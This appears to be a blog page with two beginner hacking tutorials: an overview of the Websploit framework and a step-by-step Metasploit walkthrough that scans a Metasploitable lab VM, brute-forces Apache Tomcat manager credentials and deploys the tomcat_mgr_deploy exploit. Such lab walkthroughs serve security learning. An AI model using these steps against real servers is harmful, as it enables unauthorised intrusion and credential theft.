WebSploit Framework

Hello Friends,

Today i am discussing about Websploit Framework

Websploit is an automatic vulnerability assessment, web crawler and exploiter tool. It is an open source command line utility that composed on modular structure. At the time of writing, there are 16 modules are available on Websploit, it can be downloaded from sourceforge project website but it is available on Kali Linux by default.

Websploit can be synchronize with Metasploit WMAP project for web vulnerability scanning, there are four categories of modular are available and they are:

Web Modules
Network Modules
Exploit Modules
Wireless Modules

In Wireless module we can run some interesting WiFi attacking vector including the WiFi jammer and WiFi DDOS attack. For exploitation, websploit is working on the basis of Metasploit Autopwn service and metasploit browser autopwn service. A large number of interesting attacking vectors are available on the network modules,

If you are on Kali Linux, then click on Applications ? Kali Linux ? Web Applications ? Web Vulnerability Scanners ? Websploit

The list of commands that can applicable on websploit are:

Read More

Exploit Apache Tomcat

Hello Friends,

Today i am showing you how to exploit apache tomcat machine.

Basic setup we require is

1.VMWare Workstation

2.Metasploitable

3.Kali Linux or Backtrack 5R3

Steps

Start Metasploitable and Kali Linux in VMWare Workstation and see their IP S

Scan Metasploitable IP In Kali Linux using NMAP tool

nmap -sV 192.168.230.133 (Metasploitable IP)

then we will get all services running and versions of service on the target machine 

we finded that "Apache Tomcat" is running on the port number 8180

Now search for related exploit

In kali linux start metasploit and type "search tomcat"

msf >search tomcat

In this select for best exploit

Here " exploit/multi/http/tomcat_mgr_deploy " is excellent

so go with that only , but before going for exploit know about that exploit

To know information about exploit

msf > info exploit/multi/http/tomcat_mgr_deploy

for this exploit to run we require USERNAME and PASSWORD of tomcat server that we do not having

so next once again come to msf

msf > search tomcat

here you having one auxillary that may help in getting USERNAME and PASSWORD

msf > info auxiliary/scanner/http/tomcat_mgr_login

msf > use auxiliary/scanner/http/tomcat_mgr_login

and set RHOST,RPORT and type run (not exploit , we are running auxiliary not the exploit)

 Now you will get the USERNAME and PASSWORD of tomcat

we got the username = tomcat and password = tomcat

After getting username and password use exploit

Now set all options like RHOST etc

Now type EXPLOIT

The box has been exploited

Thank You

Read More